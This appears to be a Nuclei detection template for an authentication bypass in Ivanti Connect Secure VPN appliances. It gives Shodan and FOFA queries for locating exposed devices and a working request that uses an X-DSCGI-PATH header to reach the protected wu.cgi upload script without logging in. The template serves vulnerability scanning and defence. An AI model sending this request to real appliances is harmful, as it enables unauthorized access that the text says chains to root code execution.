Ivanti Connect Secure <= 22.8R2.4 - Authentication Bypass via X-DSCGI-PATH Header

id: CVE-2026-104935

info:
  name: Ivanti Connect Secure <= 22.8R2.4 - Authentication Bypass via X-DSCGI-PATH Header
  author: volexity,DhiyaneshDk
  severity: critical
  description: |
    Ivanti Connect Secure VPN appliances contain an authentication bypass vulnerability in how the appliance routes requests from front- and back-end processes to CGI script handlers. The URL path is used to determine whether a request is allowed (welcome.cgi is public), while the X-DSCGI-PATH header determines the actual destination of the request. An attacker can send a request to the unauthenticated welcome.cgi endpoint with an X-DSCGI-PATH header pointing to an authenticated CGI script such as wu.cgi, bypassing authentication entirely. This vulnerability is chained with a file write race condition in wu.cgi and a privilege escalation via dsinvoked DSCache trust to achieve unauthenticated root-level remote code execution.
  impact: |
    An unauthenticated attacker can bypass authentication and access protected CGI endpoints on the Ivanti Connect Secure appliance, leading to remote code execution with root privileges when chained with additional vulnerabilities.
  remediation: |
    Upgrade Ivanti Connect Secure to the patched version released on October 13, 2026. Affected versions include 25.1.1 and prior, 25.1.2, and 22.8R2.4.
  reference:
    - https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/
    - https://forums.ivanti.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-104935
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: ivanti
    product: connect_secure
    shodan-query: html:"/dana-na/auth/"
    fofa-query: body="/dana-na/auth/"
  tags: cve,cve2026,ivanti,ics,vpn,auth-bypass,vkev,kev

flow: |
  if (http(1)) {
    if (template["welcome_path"] == "") {
      template["welcome_path"] = "/dana-na/auth/url_default/welcome.cgi";
    }
    http(2);
  }

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "welcome.cgi", "Ivanti Connect Secure", "Pulse Secure")'
        internal: true

    extractors:
      - type: regex
        name: welcome_path
        internal: true
        group: 1
        part: all
        regex:
          - '(/dana-na/auth/url_[^/\s"''<>]+/welcome\.cgi)'

  - raw:
      - |
        GET {{welcome_path}} HTTP/1.1
        Host: {{Hostname}}
        X-DSCGI-PATH: /home/webserver/htdocs/dana/fb/smb/wu.cgi

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "upload file", "Browse buttons")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022008a569e26d42a143655209c6f41bf19607af8bf67926f064ebf06668afddd0e802210090a822375b14da8d8ebb125659f63ebf30f83bf07b9f576a8803f477cb5d205e:922c64590222798bb761d5b6d8e72950